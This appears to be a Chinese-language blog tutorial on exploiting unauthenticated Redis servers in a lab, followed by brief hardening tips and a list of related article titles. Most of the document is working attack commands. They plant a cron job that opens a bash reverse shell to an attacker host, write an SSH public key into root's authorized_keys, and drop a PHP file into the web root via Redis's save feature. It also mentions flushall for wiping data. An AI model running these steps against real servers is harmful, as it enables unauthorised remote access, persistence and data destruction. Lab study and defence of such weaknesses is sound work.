Redis未授權訪問漏洞利用總結
0x01 redis介紹
Redis是一個開源的使用ANSI C語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。從2010年3月15日起,Redis的開發工作由VMware主持。從2013年5月開始,Redis的開發由Pivotal贊助。
Redis因配置不當可以未授權訪問。攻擊者無需認證訪問到內部資料,可導致敏感資訊洩露,也可以惡意執行flushall來清空所有資料。
攻擊者可通過EVAL執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案。
如果Redis以root身份執行,可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器。
0x02 本地漏洞環境搭建
靶機:CentOS6.5
CentOS安裝redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
修改配置檔案,使可以遠端訪問:vim redis.conf
bind 127.0.0.1前面加上#號 protected-mode設為no
啟動redis-server
./src/redis-server redis-conf
預設的配置是使用6379埠,沒有密碼。這時候會導致未授權訪問然後使用redis許可權寫檔案。
0x03 攻擊測試
nmap掃描伺服器開啟埠
1.redis基本命令
連線redis:
redis-cli -h 192.168.63.130
檢視redis版本資訊、一些具體資訊、伺服器版本資訊等等:
192.168.63.130:6379>info
將變數x的值設為test:192.168.63.130:6379>set x "test"
是把整個redis資料庫刪除,一般情況下不要用!!!192.168.63.130:6379>flushall
檢視所有鍵:192.168.63.130:6379>KEYS *
獲取預設的redis目錄、和rdb檔名:可以在修改前先獲取,然後走的時候再恢復。
192.168.63.130:6379>CONFIG GET dir
192.168.63.130:6379>CONFIG GET dbfilename
2.攻擊的幾種方法
(1).利用計劃任務執行命令反彈shell
在redis以root許可權執行時可以寫crontab來執行命令反彈shell
先在自己的伺服器上監聽一個埠
nc -lvnp 7999
然後執行命令:root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK
nc監聽埠已經反彈回來shell
ps:此處使用bash反彈shell,也可使用其他方法
(2).寫ssh-keygen公鑰然後使用私鑰登陸
在以下條件下,可以利用此方法
- Redis服務使用ROOT賬號啟動
- 伺服器開放了SSH服務,而且允許使用金鑰登入,即可遠端寫入一個公鑰,直接登入遠端伺服器。
首先在本地生成一對金鑰:
root@kali:~/.ssh# ssh-keygen -t rsa
然後redis執行命令:
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK
save後可以直接利用公鑰登入ssh(3).往web物理路徑寫webshell
當redis許可權不高時,並且伺服器開著web服務,在redis有web目錄寫許可權時,可以嘗試往web路徑寫webshell
執行以下命令
192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK
即可將shell寫入web目錄(web目錄根據實際情況)
0x04 安全配置
- 限制登入ip
- 新增密碼
- 修改預設埠
相關文章
- 利用redis未授權訪問漏洞(windows版)RedisWindows
- 銘說 | Redis未授權訪問漏洞GetshellRedis
- Redis v6.0.5未授權訪問漏洞復現Redis
- 利用CouchDB未授權訪問漏洞執行任意系統命令
- Druid未授權訪問實戰利用UI
- Redis未授權漏洞復現Redis
- 系統滲透漏洞の未授權訪問
- JBOSS未授權訪問
- Java安全漏洞:Druid未授權訪問解決JavaUI
- Linux sudo 漏洞可能導致未經授權的特權訪問Linux
- 多款Intel產品未授權訪問漏洞(CVE-2017-5689)Intel
- SSRF結合Redis未授權的打法Redis
- Hadoop Yarn REST API未授權漏洞利用挖礦分析HadoopYarnRESTAPI
- 從零開始學習各種常見未授權訪問漏洞
- spark未授權RCE漏洞Spark
- SaltStack未授權訪問及命令執行漏洞分析(CVE-2020-16846/25592)
- Etcd REST API 未授權訪問漏洞暴露 750MB 密碼和金鑰RESTAPI密碼
- 記一次特別的未授權訪問
- 【雲原生攻防研究】Istio訪問授權再曝高危漏洞
- CVE-2021-45232 Apache APISIX 從未授權訪問到RCEApacheAPI
- php反序列化和redis未授權PHPRedis
- pgAdmin未授權命令執行漏洞(CVE-2022-4223)
- mysql8.0授權root遠端訪問MySql
- Flipboard 資料庫未經授權訪問使用者賬號密碼洩露資料庫密碼
- mysql各個級別授權的總結MySql
- PHP利用Redis鎖解決併發訪問PHPRedis
- cve-2019-11581 Atlassian Jira未授權服務端模板注入漏洞服務端
- MyEclipse2017新增github連線未授權問題EclipseGithub
- 偶然發現的bug————越權訪問漏洞追溯
- [BUG反饋]許可權管理 -> 訪問授權 點選後報錯
- kubernetes 原始碼安裝1.18.3 (8)授權 apiserver 訪問 kubelet原始碼APIServer
- [BUG反饋]分類授權漏洞
- REDIS面試問題總結Redis面試
- 加密訪問資源方法總結加密
- 如何使用RedisTemplate訪問Redis資料結構Redis資料結構
- 瞭解如何使用JSON Web令牌(JWT)實現訪問授權驗證JSONWebJWT
- shell給授權檔案新增私鑰並修改訪問修改時間
- 容器編排系統K8s之訪問控制--RBAC授權K8S